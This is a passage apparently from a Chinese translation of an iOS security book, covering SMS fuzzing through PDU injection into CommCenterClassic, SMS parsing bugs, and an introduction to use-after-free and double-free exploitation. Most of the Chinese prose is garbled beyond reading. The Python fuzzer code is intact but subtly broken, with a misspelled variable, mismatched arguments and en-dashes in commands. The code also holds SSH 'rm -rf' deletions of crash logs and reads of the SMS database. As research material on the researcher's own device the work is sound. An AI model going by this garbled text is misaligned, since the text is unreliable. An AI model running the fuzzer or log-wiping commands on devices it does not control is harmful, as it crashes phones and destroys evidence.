ᄉSMS๖োᤴ੆ᄉǌ�

6.9.8� SMS iOS⊼ܹ 

ᤞҁiPhoneʼ̾ᤈᛠ฽ណǌ͛͂߱࠱᣾ᄉSMS๖োՐὋ;ᤆᭉ᜵థҨกူܪҁܷ᧙ഴዹૅڙ

ѽၸᄽࠃᄉᤁᖸ׷ᎩፎὋ̯͂߱࠱ʶᦉ᝹ܫԦᤞҁԲʶᦉ᝹ࡂܫᑞ᣹ҁᤇʶᄫᄉǌᤇಧᄉ᣾ር๗

Ԣ࠱฽ណၸΒ̯ʶᦉ᝹ܫ᤯᣾SMSCԦᤞҁ฽ណ᝹ܫʼǌʿ᣾Ὃᤇಧϡ˞᜵థʽ᭦і˓ᎤཁǌФ

ʶࡂ௦Ԧᆀζ௦᜵அ᠟ᄉὋԦ३ܲ˿ᤇቷஂѢ˶௦૟ܷᄉǌԲʶ˓ԓࡂځ௦ᤁᖸࠢ͗׷᜿ҁᤇ̎

฽ណὋྱѾ௦ซ਒ҁᤇ̎฽ណၸΒǌᬓ൤˧ܰὋᤁᖸ׷ᤆԺᑞ᧓ԨᛠҮ᫽ൢ฽ណὋඊݟឬᬌ҃๖

োᄉ͛ᤞǌᤆథὋഴዹူܪ᣾ᄉ๖োᤆԺᑞ͗࠭ᒰᤁᖸ׷ᄉႂពనҫ᝹࢜ܫຳὋ̯ᏪलԦก।᫇

ᮤǌᏪʽ᭦᜵̭ፀᄉழกᯪЎ௦ၿ Mulliner ֖ Miller ᧪ࠪ iOS 3 ଠᤗᄉ὇ www.blackhat. 
com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdfὈὋᏪੇ͂ڙᤇ᧖

᧪ࠪiOS 5ࠪФᤈᛠ˿ఝளǌᤇ᜵ϛ࠱߿ᒬࣁᎵ̅ុ҃ᝌុ٧֖ःၸ٧ူܪ˧ᫍὋڙ᝹ܫʼՓᤇ

ˏᏧ˧ᫍᄉ˘ᛠᤋଋซЙSMS๖োǌ൤ழกథॡܲܪݝὋФ˖Ӊહᤁᖸ׷὇۲ఴʼὈʿ͗ᅻ᥊ᤇ

ሗ฽ណڙᤈᛠὋ๖োᑞܴ̾᭣࣡ঋᄉᤳညԦᤞὋʿ̖͗ၶព᠟੆ఴὋᏪ˄Ѣဗڙःၸ٧ူܪʼᄉ

๖োˀ᤯᣾ᤁᖸ׷Ꭹፎҁ᣹ᄉᄽࠃSMS๖ো௦ʶഴʶಧᄉǌ  
᝹ܫʼᄉSMS๖ো௦ၿCommCenter੊CommCenterClassicᤈርူܪᄉ὇Ԩф̅΍ၸגሗ᝹

iOS 2֖ڙᄉᤋଋၿᔩ࣯ᘾ઱˘ᛠጲᡸጷ੆ǌ߱͂ᫍ˧Ὀǌᤇ̎CommCenterᤈርˀុ҃ᝌុ٧ܫ
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iOS 3˖ѫѾၿ/dev/dlci.h5-baseband.[0-15]֖/dev/dlci.spi-baseband.[0-15]ᛪ

ᇧǌڙiOS 5˖Ὃ߱͂ᄉ्य௦/dev/dlci.spi-baseband.*ǌSMS๖ো੝ᭉᄉˏሗᘾ઱᝹ܫѫ

Ѿ௦/dev/dlci.spi-baseband.sms֖/dev/dlci.spi-baseband.lowǌ 
᜵ซЙѸतᄉSMS๖োὋੇ͂ࡂᭉ᜵ᤈЙCommCenterClassicᤈርǌੇ͂͗ѽၸᮔЎҪᣑं

ᄉழयं࠱ซЙឞᤈርὋ̯ Ꮺ᣹ҁᤇʶᄫᄉǌឞं͗ଡΘளྟఴᄉopen(2)ǋread(2)֖write(2)

ѥஜǌளྟᄉopen͗೜ಉ˧ґଡ᣾ᄉူܪSMS๖োᄉˏ్˘ᛠጲᡸ௦ՠ̅ܪ੩ध࿃খǌݟ౦௦Ὃ

Ὃࣲઁឞ஠ߙଋݒtmp/fuzz3.sock੊/tmp/fuzz4.sockὋᤋଋҁឞ/ߙଋݒ੩धUNIX͗ࡂ߱

͇ଠᤗቿᤄٿፋឯය஠͇ᄉ᝹ܫǌݟ౦௦᜵ࠪФ̴஠͇ុၸopenὋᥦ˥ᄽྟࠃఴᄉopen὇Ժڙ

dlsym˖੼ҁὈ͗ᜁុၸǌᤇಧᄉፆ౦ࡂ௦Ὃࠪ̅ᥦ̎ੇ͂ʿСซᄉ஠͇੊᝹ܫὋ੯ᛠᄉ௦ࠪಕ

эopenᄉុၸὋᏪࠪ̅ਆ᜵гЌᄉˏ్˘ᛠጲᡸ౎ឬὋੇ͂ʿ௦᜵੩धᄽൣᄉ᝹ܫὋᏪ௦᜵ᤄ

ᄉ஠͇ଠᤗቿ὚ੇ͂Ժ̾ᬣ਒ឳзឞଠᤗቿǌવ੔read֖writeѥஜ௦Ѣ̅௅ߙଋݒःUNIXࠪٿ

ং᝭े֖ុណᄉᄫᄉὋˀSMSซЙ෤థСጆǌ 
ଋᅋὋੇ ͂᜵Ѹतʶ˓Տ˝injectordᄉߵએᤈርὋ߱ ͗੩ध᤯Փ੝ᭉᄉˏ˓˘ᛠ᝹ܫᄉᤋଋὋ

ᤆ͗੩ध᤯ՓUNIXݒଋߙ὇ᘾ઱˘ᛠቪԯὈᄉᤋଋǌཨՐὋឞߵએᤈር̯ઁ͗ࡂʶ˓஠͇ଠᤗ

ቿឳԨᄉஜ૵ԓԓఴఴ҃ܬڠҁԲʶ˓஠͇ଠᤗቿὋੵ໥ᅋ˖̠ᫍᄉᝇᓣǌ൤ܰὋ߱ᤆ͗ڙቪԯ

4223ʼ੩धʶ˓Ꭹፎݒଋߙǌॆ ஜ૵ᣀ୦ፋᤇ᧖ଡઁ͗ߙଋݒ൤ቪԯʼଋஅஜ૵ௐὋឞᎩፎڙ߱

ҁᄉUNIXݒଋߙǌణጻᄉ஌౦ࡂ௦ὋॆCommCenterClassic੩धᤇ̎˘ᛠᤋଋௐὋࠃᬄʼ͗੩ध

ʶ˓UNIXݒଋߙὋᏪᤇ˓UNIXݒଋܷܲߙஜௐϊᦏᛪဗ३Ϸ௦᤯Փុ҃ᝌុ٧ᄉᤋଋǌʿ᣾Ὃ

᤯᣾Փቪԯ4223Ԧᤞஜ૵ὋܷࠑԺ̾ซЙஜ૵ὋᏪ˄ᤇ̎ஜ૵ᄹᡐ౎ࡂϷ௦౎ᒬុ҃ᝌុ٧ᄉǌ 
ʶெᤇ˓ซЙርࣿҁͮὋፋ߿PDUಪयᄉSMS๖োὋʽ᭦ᄉPythonѥஜൣ࠱͗ࡂᆷಪयᄉஜ

૵Ԧᤞҁ͗ઁᤇ̎ஜ૵ซЙ˘ᛠጲᡸᄉߵએᤈርǌCommCenterClassicᄉᛪဗࡂϷᤇ̎๖োᄽ௦

᤯᣾ᤁᖸ׷Ꭹፎҁ᣹ᄉᥦಧǌ 
def send_pdu(ip_address, line): 
        leng = (len(line) / 2) - 8 
        buffer = "\n+CMT: ,%d\n%s\n" % (leng, line) 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((ip_addresss, 4223)) 
        s.send(buffer) 
        s.close() 

ᤇಧੇ͂ࡂԺ̾ʿᔈᨐઁSMS๖োԦᤞፋ᝹ܫ˿ǌᤇ̎๖োԺ̾̾᭣࣡ঋᄉᤳऎ͛ᤞὋᑞ᣹

ҁඇሙॡ్ܲᄉ͛ᤞ᧙ǌ �

6.9.9� SMSⱘⲥ⌟ 
ဗᤈᛠഴዹ฽ណ੝ᭉ᜵ᄉʶѬᅻខὋʿ᣾ణՐᤆ᜵ࠃፂі˪ଁଦ˿ࠪiOSᄉSMSࣂڙဗࠑܷ

˿ᝌᄢ฽ǌణᡐᆉὋܷࠑᭉ᜵೜ಉCommCenterClassic὇֖Ф̴ᤈርὈᄉ࢜ຳǌ᜵ϡҁᤇʶཁὋ

 ᭉ᜵Сซ࢜ຳઐն٧ᄉ௅ংǌࡂ;
Ὃຌᬓ˧ґ᫇ᮤᄉ௅ংǌឯᆷγ᝹Ꮅᄉ௦МܫԦᤞ฽ណၸΒ˧ґὋੇ͂᜵᤯᣾SSHᤋଋ᝹ڙ

ᨄᝢ᝼Ὃᤇಧʶ౎᝺᫇ᤈᛠഴዹ฽ណᄉ఺ࡂ٧ʿᭉ᜵ࠚᆉ˿Ὑ 
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def clean_logs(ip): 
        commcenter = 
'/private/var/logs/CrashReporter/LatestCrash.plist' 
        springboard = 
'/private/var/mobile/Library/Logs/CrashReporter/LatestCrash.plist' 
        command = 'ssh root@'+ip+' "rm -rf %s 2>/dev/null; rm -rf 
%s 2>/dev/null"' % (commcenter, springboard) 
        c = os.popen(command) 

ᤇ᧖͗ࠪSpringBoard֖CommCenterᤈᛠ೜ಉὋࠃ˝ځᬄ௬ᇧ๖োᄉ߱͂ڙᤈᛠഴዹ฽ណௐ

థௐ͗࢜ຳǌซ਒Ὃ௅ং௦γڙߚiPhoneʼᄉὋᏪ෤థγڙߚᤁᛠഴዹ٧ᄉಷ᭦᝟ኪ఺ʼὋᤇ˶

௦ᭉ᜵ѽၸSSHಉ੼֖ឳԨ߱͂ᄉԓځ੝ڙǌڙᤁᛠ˿฽ណၸΒՐὋੇ͂థॸ᜵೜ಉ௅ং˖௦ՠ

Ѣဗ˿̣˥Юࠓǌ�

def check_for_crash(test_number, ip): 
        time.sleep(3) 
        commcenter = 
'/private/var/logs/CrashReporter/LatestCrash.plist' 
        springboard = 
'/private/var/mobile/Library/Logs/CrashReporter/LatestCrash.plist' 
        command = 'ssh root@'+ip+' "cat %s 2>/dev/null; cat %s 
2>/dev/null"' % (commcenter, springboard) 
        c = os.popen(command) 
        crash = c.read() 
        if crash: 
                clean_logs() 
                print "CRASH with %d" % test_number 
                print crash 
                print "\n\n\n" 
                time.sleep(60) 
        else: 
                print ' . ', 
        c.close() 

CommCenterClassic̮ᑞ߿Ժ̾γ૆ᤇ˓࿃খࣲ೜ಉ௦ՠѢဗ࢜ຳǌʿ᣾Ὃ˝˿߸Кᆷࠑܷ

ৌॆ͛ူܪڠЙᄉ๖োὋܷࠑःឞఝ៞ਠʶ̎ǌڙՉ˓ഴዹ฽ណ฽ណၸΒ˧ᫍὋܷࠑᤆःឞԦᤞ

ᤈʶ൥ᤈᛠഴዹ฽ណ˧ґὋܷڙᅻ˝ൣᆷᄉSMS๖োǌࣂ ଋஅ˿ᤇ̎ڠ੆ҩܫԺ̾ណᅋᰍ᝼᝹ࠑ

๖োǌ᜵ϡҁᤇʶཁὋ;ԵᭉࠪCommCenterClassicၸ౎ߚϱSMS๖োᄉsqlite3ஜ૵ंᤈᛠಉលὙ�

# sqlite3 /private/var/mobile/Library/SMS/sms.db 
SQLite version 3.7.7 
Enter ".help" for instructions 
sqlite> .tables 
_SqliteDatabaseProperties message 
group_member              msg_group 
madrid_attachment         msg_pieces 
madrid_chat 

ᤇˏ˓̾madridधܿᄉᛪ௦ࠪܲ޴ͳ๖োᤈᛠူܪᄉὋࣲ ˄դథ᤯᣾MMSԦᤞᄉᥦ̎᪪Ϸᄉ

஠͇Տǌࠪ̅SMSᏪᝒὋణ᧗᜵ᄉᛪՏ˝messageǌڙឞᛪ˖థіѴॡథ਒ধᄉЮࠓὋФ˖˧ʶ

௦ԶͺROWIDᄉᤫܘஞஜὋԲʶ˓௦ၸ̅ߚஉ๖ো஠ఴᄉtextǌ�
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 ὙࠓଋஅҁᄉణՐʶ్SMS๖োᄉЮܫᄹҁឞ᝹͗ࡂ;Ὃ̽֐ᡔ࿜᣾ᄉiPhoneʼᤁᛠ̾ʽڙ
# sqlite3 -line /private/var/mobile/Library/SMS/sms.db 'select 
text from message where ROWID = (select MAX(ROWID) from message);' 

ፋ߿ʶ˓ᬣ఺ᄉஜߙὋ̾ʽPython̼ᆉ࠱ᤈᛠ೜ಉὋ̾ᆷ߿iPhone̮ཨ͗ߚ֖ူܪϱಕэᄉ

SMS๖োǌᤇ᧖ϛ᝹ၸਖ਼ࣂፂ˝iOSʼᤁᛠᄉSSHనҫ٧᝹Ꮅ˿Мᨄᝢ᝼ǌ�

def eight_bit_encoder(string): 
        ret = '' 
        strlen = len(string) 
        for i in range(0,strlen): 
                temp = "%02x" % ord(string[i]) 
                ret += temp.upper() 
        return ret 
 
def create_test_pdu(n): 
        tn = str(n) 
        ret = '0791947106004034040D91947196466656F8000690108211421540' 
        ret += "%02x" % len(tn) 
        ret += eight_bit_encoder(tn) 
        return ret 
 
def get_service_check(randnum, ip): 
        pdu = create_test_pdu(randnum) 
        send_pdu(pdu) 
        time.sleep(1) 
        command = 'ssh root@'+ip+' "sqlite3-line 
/private/var/mobile/Library/SMS/sms.db \'select text from message!   
where ROWID = (select MAX(ROWID) from message);\'"' 
        c = os.popen(command) 
        last_msg = c.read() 
        last_msg = last_msg[last_msg.find('=')+2:len(last_msg)-1] 
        return last_msg 

ٿቿ˘ὋՠѶ͗ᤄߙդథrandnumᄉٿ౦ʶѬᤁᣀൣ࣡Ὃget_service_checkѥஜ͗ᤄݟ

Ф̴Юࠓǌқʽᄉࡂ௦᜵ઁ੝థЮࠓஞՋ੆ݟʽഴዹ฽ណᑭఴὙ�

#!/usr/bin/python2.5 
import socket 
import time 
import os 
import sys 
import random 
 
def eight_bit_encoder(string): 
        ret = '' 
        strlen = len(string) 
        for i in range(0,strlen): 
                temp = "%02x" % ord(string[i]) 
                ret += temp.upper() 
        return ret 
 
def create_test_pdu(n): 
        tn = str(n) 
        ret = '0791947106004034040D91947196466656F8000690108211421540' 
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        ret += "%02x" % len(tn) 
        ret += eight_bit_encoder(tn) 
        return ret 
 
def restore_service(ip): 
        command = 'ssh root@'+ip+' "./lc.sh"' 
        c = os.popen(command) 
        time.sleep(60) 
 
def clean_logs(ip): 
        commcenter = '/private/var/logs/CrashReporter/LatestCrash.plist' 
        springboard = 
'/private/var/mobile/Library/Logs/CrashReporter/LatestCrash.plist' 
        command = 'ssh root@'+ip+' "rm -rf %s 2>/dev/null; rm –rf 
%s 2>/dev/null"' % (commcenter, springboard) 
        c = os.popen(command) 
 
def check_for_service(ip): 
        times = 0 
        while True: 
                randnum = random.randrange(0, 99999999) 
                last_msg = get_service_check(randnum, ip) 
                if(last_msg == str(randnum)): 
                        if(times == 0): 
                                print "Passed!" 
                        else: 
                                print "Lost %d messages" % times 
                        break 
                else: 
                        times += 1 
                        if(times > 500): 
                                 restore_service(ip) 
                                 break 
 
def get_service_check(randnum, ip): 
        pdu = create_test_pdu(randnum) 
        send_pdu(pdu) 
        time.sleep(1) 
        command = 'ssh root@'+ip+' "sqlite3 –line 
/private/var/mobile/Library/SMS/sms.db \'select text from message 
where ROWID = (select MAX(ROWID) from message);\'"' 
        c = os.popen(command) 
        last_msg = c.read() 
        last_msg = last_msg[last_msg.find('=')+2:len(last_msg)-1] 
        return last_msg 
 
def check_for_crash(test_number, ip): 
       time.sleep(3) 
       commcenter = '/private/var/logs/CrashReporter/LatestCrash.plist' 
       springboard =  
'/private/var/mobile/Library/Logs/CrashReporter/LatestCrash.plist' 
       command = 'ssh root@'+ip+' "cat %s 2>/dev/null; cat %s 2>/dev/null"' % 
(commcenter, springboard) 
       c = os.popen(command) 
       crash = c.read() 
       if crash: 
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               clean_logs(ip) 
               print "CRASH with %d" % test_number 
               print crash 
               print "\n\n\n" 
               time.sleep(60) 
       else: 
               print ' . ', 
               c.close() 
 
def send_pdu(line, ip): 
        leng = (len(line) / 2) - 8 
        buffer = "\n+CMT: ,%d\n%s\n" % (leng, line) 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((ip, 4223)) 
        s.send(buffer) 
        s.close() 
 
# test either sends the pdu on the line 
# or checks for crash/service if test case is complete 
# as indicated by the [end case] in file 
def test(i, ip): 
        global lines 
        line = lines[i].rstrip() 
        print "%d," % i, 
        if line.find('end case') >= 0: 
                check_for_crash(i, ip) 
                check_for_service(i, ip) 
        else: 
                send_pdu(line, ip) 
                time.sleep(1) 
 
def read_testcases(filename): 
        global lines 
        f = open(filename, 'r') 
        lines = f.readlines() 
        f.close() 
 
def testall(ip, filename): 
        global lines 
        read_testcases(filename) 
        for i in range(len(lines)): 
               test(i, ip) 
 
if __name__ == '__main__': 
        testall(sys.argv[1], sys.argv[2]) 

ፋ߿߶ᜈథซЙርࣿᄉiPhoneᄉIPڦڠὋ̾Ԣಪय᤟ॆᄉդథ฽ណၸPDUᄉ஠͇Ὃឞᑭఴࡂ

͗ԦᤞՉ˓฽ណၸΒὋణՐᤆ͗೜฽࢜ຳ̾Ԣርࣿ௦ՠ̮ཨᡐͺၸǌ઴థݟ൤ुܷഴዹ฽ណࢹХ

ᄉ͕Ҹ̅ڙὋʶெधݼഴዹ฽ណὋੇ͂ࡂԺ̾߸Кʿၸክ߱˿ὋཨՐࡂኍᅋࢹХ੯ᛠඇ˓฽ណၸ

ΒὋࣲ࢜࠱ຳ̾ԢलԦ࢜ຳᄉ฽ណၸΒʶᡐ᝭ेʽ౎ǌ൤ܰὋԵ᜵᧪ࠪ౼˓iϘុၸtest(i)Ὃ

ᄹ͗ࠑʽʶᓫ˖Ὃܷڙᤈᛠឞ฽ណǌᤇᄽ௦iOS˖SMSഴዹ฽ណᄉጻ౜ᤤસǌܬ௛᧗ࠓॡࡂ͂ੇ

ҁᤇሗࠪጹᓫᄉСซࣛ౎ᄉʶ̎ٿઐǌ�
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6.9.10� SMS bug 
ڙ smsfuzzing ὇ http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller- 

FuzzingPhone-PAPER.pdfὈ˖ὋMiller֖Mulliner̭ፀ˿ᒬࣁѽၸఴብ˧ґіᓫഏᤗ᣾ᄉഴዹ฽ណ

ก੼ҁᄉᔩ࣯˓iOS SMS໣วǌథ̎bug௦ڙSpringBoardណڎ௬ᇧ஠ఴ๖োलԦᄉ௃஌᝜նௐѢ

ဗᄉǌᤇ௄Ժᑞ͗ࣛ౎ᤈር࢜ຳᤴ੆࣪ࡕӴ൪Ὃ˶ Ժᑞᝧ̠ڙSpringBoardᄉʼʽ஠ ὇̟̾mobile

ၸਖ਼ాᬌὈ੯ᛠ̼ᆉǌԲʶ˓໣ว௦ڙCommCenterఴᢵ˖Ԧဗᄉǌ߱ Ժ̾࠭ᒰCommCenter࢜ຳὋ

΍੣఺ᆀௐᫍЮ̅ܪʿڙᎩ࿃খὋڙ౼̎ྱ൳ৰхʽᤆԺᑞ͗ᝧ̠ᤉር੯ᛠ̼ᆉǌڙ˝ځԦဗᤇ

ʶፆ౦ᄉௐϊCommCenter௦̾rootాᬌᤁᛠᄉὋ੝̾ᤇԺ΍̠ᑞ̯నҫ٧ቪ̾rootాᬌᤉር᝺

͉᫇਒ iPhoneǌ˝ឬ௙SMS໣ว௦̣˥ಧᄉὋఴᓫኤ᜵̭ፀʶʽMiller֖MullinerԦဗᄉ

CommCenter໣วǌ  
ݟiOS 3˖Ὃৰхథ̎᝴ʿՎ὇ڙUDHᄉ̼ᆉᄉԥᎃដ஠͇ǌᏪူܪ᠉᠆˖ፂ᜸᣾iOS 5ࣂࠑܷ

 9੝ᇧὈǌ-6ڎ

 

�9-6ڎ IDA Pro˖ࠪUDHᄉᝌౡ 
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ᄉ൒ஜ९ဖǌඇʶ൒९ဖ߱ᦏ͗ឳԨIEI߿ૈ˖Ժ̾ᄹҁ̼ᆉ૊ཱUDHLࠑὋܷ˖9-6ڎڙ
֖IEDLὋࣲࠪူܪःᄉஜ૵ǌ˧ՐὋ߱͗ࠪᤇ̎ζোᤈᛠူܪǌ߿ૈڙᄉUDHLඊࠃᬄԺၸ

ᄉஜ૵ఝ᫁ௐὋ᫇ᮤࡂ౎˿ǌॆᤇሗৰхԦၶௐὋread_next_byteѥஜ͗ᤄٿϘ-1ǌࡂᤇ

˓ѥஜఴᢵ౎ឬὋᤇ௦෤థ᫇ᮤᄉὋʿ᣾Ր᭦ᄉ̼ᆉϛ᝹ᤇ˓Ϙ͗௦ൣϘࣲ˄௦థ਒˦ᄉǌ

ΒݟὋ10-6ڎݟ੝ᇧὋܷࠑԺ̾ᝧCommCenterុၸabort()Ὃڙ঳๖োஜ˝-1ௐᤝѢ

CommCenterǌ 

 

�10-6ڎ ᠆᠉˖ൢCommCenterᄉ̼ᆉ 

ၸabort()ՐᤝѢ˿Ὃ߱͗᧗ըὋʿ᣾ុڙ౦Ԧᤞ˿ᤇሗ႙्ᄉSMSὋᏪ˄CommCenterݟ

іሙ᧾ЮଋʿҁႂពὋڙᎩፎሎጲǌᤇ͗ᝧ੣఺׷ᤁᖸ̯͗ࡂ౦CommCenter࢜ຳ˿Ὃᥦ˥੣఺ݟ

ࣲ˄͗΍ൣڙᤈᛠᄉ᤯ព˖றǌ 

ʿ᣾Ὃᤇ˓bugʿӬӬ͗ᤴ੆ધፏనҫǌ߱ణጻԺᑞࠪЮ̖ߚၶॕֽὋࣲᝧ̠Ժ̾੯ᛠ̼ᆉǌ

ࡂᜁͺ˝ጉल౎᝺᫇ʶ˓ஜጷǌ-1ᤇ˓Ϙ͗ࡂ1ὋឞϘ-˝౦߶ଅᄉ๖ো΍ॆґᄉ๖ো᝟ஜ٧ݟ

Ꮺథځቿ˘ᄉὋߙ++ѫᦠᎀуӜ˧ґᄉͮᎵឳԨʶ˓Ϙǌੇ͂ϛ᝹ᤇ˓ૈ᧪௦ૈՓ౼˓Cࣂ̯͗

ܲሗழयុၸឞૈ᧪ǌ౎ᄹ11-6ڎǌ 

ᤇʿ௦׬ʶᄉSMS bugὋ੝̾ឯܷࠑ˿ᝌఝܲᄉbugǌᤇዜ໣วྱѾ᧗᜵Ὃځ˝߱͂ʿᭉ

᜵͉ʹၸਖ਼̓̈Ꮺ˄෤ก᫽વǌᤇʿБᝧ̠ᐎਆҁ10ࣱґ᫸༡ܖᤆల௾Ԣௐ᝟ኪ఺Ꭹፎᄉ߶

Кৰхǌ 
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�11-6ڎ iOS SMSಖ˖ᄉЮߚᆠڭ 

6.10� ᇣ㒧 

ࠬ੼໣ว͉ڙʹጆፑ˖ᦏ௦͇ڇᬱԁॡ᧗᜵ᄉࢹͺǌ੝థᄉ᝟ኪ఺໣วஈѣᦏ௦̾໣ว˝۲

ᆨᄉὋ෤థ໣วὋ˶ࡂ෤థ໣วஈѣርࣿǋథ஌ᣑᕲ੊rootkitǌഴዹ฽ណ௦ణኤӬథ஌ᄉʶሗ໣

วࠬ੼ழयǌఴብ̭ፀ˿ഴዹ฽ណὋࣲѴˠ˿ʶ̎ᤈᛠഴዹ฽ណᄉΒߔὋඊࠪݟMac OS X˖ᄉ

PDFǋiPhoneʼᄉ PPT̾ԢiPhoneʼᄉSMSଋԯᤈᛠᄉഴዹ฽ណǌఴብᤆ᤯᣾̭ፀʶ̎ࣂፂᆷ߿

ᄉbugࡘᇧ˿ഴዹ฽ណ੾శᄉގҦǌ 
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ⓣ ⋲ ᬏ ߏ 

 
iOSᄉԩஈѣ᭦ˀMac OS Xᄉԩஈѣ᭦௦ዜͪᄉǌځ൤Ὃݟ౦᜵ࠪၸਖ਼ቆᫍᄉ໣วᤈᛠஈѣὋ

 ਖ਼ቪᄉ۶໣วஈѣʼǌࠆڙซ਒Ҧஉ࠱ःឞࡂ

⊼ᛣ ੇ͂ʿ੩ኪ̭ፀˀಖథСᄉbugὋࡉ˝ځክڙ౼̎ᣃ͇˖˶ڙߚᤇಧᄉbugὋͭ߱͂ʶᓉ

౎ឬʿܷԺᑞ੆˝໣วஈѣᄉࠪ៵ὋᏪ˄Ѣဗᄉᮟည˶᜵ඊ֖۶థСᄉ᫇ᮤͯǌ 

ఴብᯪЎ̭ፀ˿ܷܲஜࠆਖ਼ቪःၸርࣿ˖ᦏ͗Ѣဗᄉ࣡᜸bugዜὋཨՐຆЙ̭ፀ᧪ࠪᤇ̎bug
ᎃз੆ҩஈѣ̼ᆉ੝ᭉᄉഏএǌ 

ԺᑞࡉʹݟͺԓူԢࢹःၸርࣿᄉ໣วஈѣ˖ὋЌѫ˿ᝌःၸርࣿ˖ѫᦠርࣿᄉࠪ᧪̬ॆڙ

эᆷڠଌ҃ᤇ̎ѫᦠርࣿᒯС᧗᜵ǌڙఴብ˖Ὃܷ͗ࠑ˿ᝌҁiOSጆፑᒬࣛᄉѫᦠርࣿὋ̾Ԣၸ

̅ଌ҃Ф࣊ࡌᄉ੾ࢻǌ 
Webเ᜾٧௦ణ࣡ᜁஈѣᄉʶ˓ᄫಕǌMobileSafari΍ၸ˿TCMallocᏪ᭣ጆፑᒬࣛᄉѫᦠር

ࣿὋ੝̾ఴብᤆ᜵ҕౡ߱ᄉࢹͺԓူ̾Ԣݟʹѽၸ߱ᄉఴবஇؒ໣วஈѣርࣿᄉԺ᭤বǌ 
ణՐὋੇ͂᜵ࠪʶ˓ࠆਖ਼ቪ໣วஈѣᄉΒߔúúPwn2Own 2010ܷᠾʼ᧪ࠪMobileSafariᄉ໣

วஈѣúúᤈᛠѫౡὋ̾ឬ௙ఴብଠᤗᄉ᝟ஜڙဗࠃ˖௦ݟʹःၸᄉǌ 

7.1� 䩜ᇍ bug ㉏ⱘⓣ⋲ᬏߏ 

಩૵ᄫಕᣃ͇ᄉʿՎὋѢဗڙᣃ͇˖ᄉ໣วФዜۋ˶௦ܲሗܲಧǌඊழឬὋڙឬҁเ᜾٧ௐὋ

੝᜵ူܪᄉbugዜॡԺᑞ௦ࠪ៵ၶߚయ᫇ᮤὋФ˖Ӊહ᧕உՐ΍ၸ὇use-after-freeὈ֖ˏ൒᧕உ

὇double-freeὈኍbugǌᏪݟ౦ᄫಕ௦̃ᤈ҃ಪयᝌౡርࣿ὇ඊݟPDF᫝ឳ٧ὈὋᥦ˥bugዜࡂణԺ

ᑞ௦ኪశ᫇ᮤ੊ຼѢǌ 
ఴᓫ࠱ኤ᜵ଠᤗڙ᧪ࠪґ᭦ଡҁᄉbugዜ˖ᄉbugᤈᛠ໣วஈѣௐణ࣡ၸᄉን႔Ὃᤇಧܷࡂࠑ

ᑞܴᮖ͗ѫᦠርࣿᄉᛠ˝ጹᓫ˖ѫѾథ̎ג௦ˀՉbugዜᄰСᄉǌ 

ᇍ䈵⫳ᄬᳳⓣ⋲ 

ॆஈѣᏧࠪःၸርࣿᄉᛠ˝὇ΒݟὋ᤯᣾JavaScriptὈ઴థॡܷᄉଌ҃ాௐὋᣃ͇˖᤯࣡͗ࡂ

ኃ �ብ
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Ѣဗࠪ៵ၶߚయ᫇ᮤὋඊݟ᧕உՐ΍ၸ֖ˏ൒᧕உbugǌ 
᧕உՐ΍ၸbug᤯࣡͗ࠪڙ៵ᜁ᧕உՐଋᅋᜁ̼ڙᆉᡸफ़˖в൒΍ၸௐѢဗǌᤇಧᄉbugज़ज़

˿ᇧࡘ1-7ڎǌځҁܷ᧙ᤇሗbugᄉʶ˓ԓ᥄ክူॡʿ௙ᆷௐѢဗὋᤇ˶௦เ᜾٧͗֐࠮៵ࠪڙ͗

ᤇዜbugᄉྱཁǌ 

 
�1-7ڎ ᧕உՐ΍ၸᄉЦۋৰ् 

঳ᄉឬ౎Ὃࠪᤇ̎໣วᤈᛠ໣วஈѣᄉን႔᭣࣡ኤӬὙ 
(1) ु҃᧕உ௛ԩஈѣᄉࠪ៵὚ 
(2) ၸᒬࣁԺ̾ଌ҃ᄉЮࠓఢ̼ᤇ˓ࠪ៵὚ 
(3) ᝎԦࠪឞࠪ៵ᄉ΍ၸὋᖌ३̼ᆉ੯ᛠాǌ 
ࠪ̅ਆ੯ᛠ̼ᆉᄉஈѣᏧ౎ឬὋణኤӬᄉҨกࡂ௦ၸᑞଌ҃ᄉڦڠఢ૰ࠪ៵ᄉᘾ઱ᛪૈ᧪Ὃ

ᤇಧʶ౎ὋԵ᜵੯ᛠᫍଋុၸὋ੯ᛠాࡂԺᑞᜁұ૆ǌ 
ˏయЮʿൢʶ൒ᜁ᧕உὋߚФၶڙ៵ࠪॆ ൒᧕உᄉ໣ว͗ࡂѢဗǌѽၸˏ൒᧕உधࡘ໣วஈ

ѣథᅋʿՎᄉ्य֖᮲ಪὋͭܲஜৰхʽԺ̾᜼ͺ᧕உՐ΍ၸbugᄉߔዜۋǌኃʶሗን႔ࡂ௦૊

ཱ̾ʽழयઁˏ൒᧕உ᫇ᮤԪ੆᧕உՐ΍ၸ᫇ᮤ౎ူܪǌ 
൒᧕உ໣ˏڙߚ˝ځ௛ԩஈѣᄉࠪ៵ኃʶ൒᧕உՐὋၸʶ˓Ջกᄉࠪ៵ఢ̼ឞࠪ៵ǌڙ (1)

วὋளѸतᄉࠪ៵˶͗ᜁ᧕உǌ 
(2) ၸᒬࣁᑞଌ҃ᄉࠪ៵ఢ૰ᤇ˓ளѸतᄉࠪ៵ǌ 
(3) ᝧःၸርࣿ΍ၸᤇ˓ᒬࣁᑞଌ҃ᄉࠪ៵ᖌԨ̼ᆉ੯ᛠాǌ 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



156� � ኃ 7 ብ� ໣วஈѣ 

 

ኃ̃ሗን႔௦೜ಉ௛ԩஈѣᄉࠪ៵ᜁ᧕உௐ᧓ၸᄉКᦉ̼ᆉᡸफ़Ὃࣲ ᆷ߿ᑞՠ᤯᣾˃᫂ౝᤴ

ᄉஜ૵ଌ҃ࠪ៵Ю݃ࠓԨ̼ᆉ੯ᛠాǌΒݟὋݟ౦ࠪڙ៵ᄉౡౝѥஜ˖ᝎԦ˿ᫍଋុၸ὇ࠪࠪ៵

ఴᢵ੊ࠪ៵ᄉ੆տὈὋஈѣᏧࡂԺ̾૊ཱˀஈѣ᧕உՐ΍ၸbugӠѫዜͪᄉழयଋክःၸርࣿǌ 
ဗڙःឞॡຌഁ˿Ὃ᜵ࠪᤇ̎໣วᤈᛠ໣วஈѣὋੇ͂ࡂॸᮋ˿ᝌѫᦠú᧕உᄉՉሗᔈયǌ

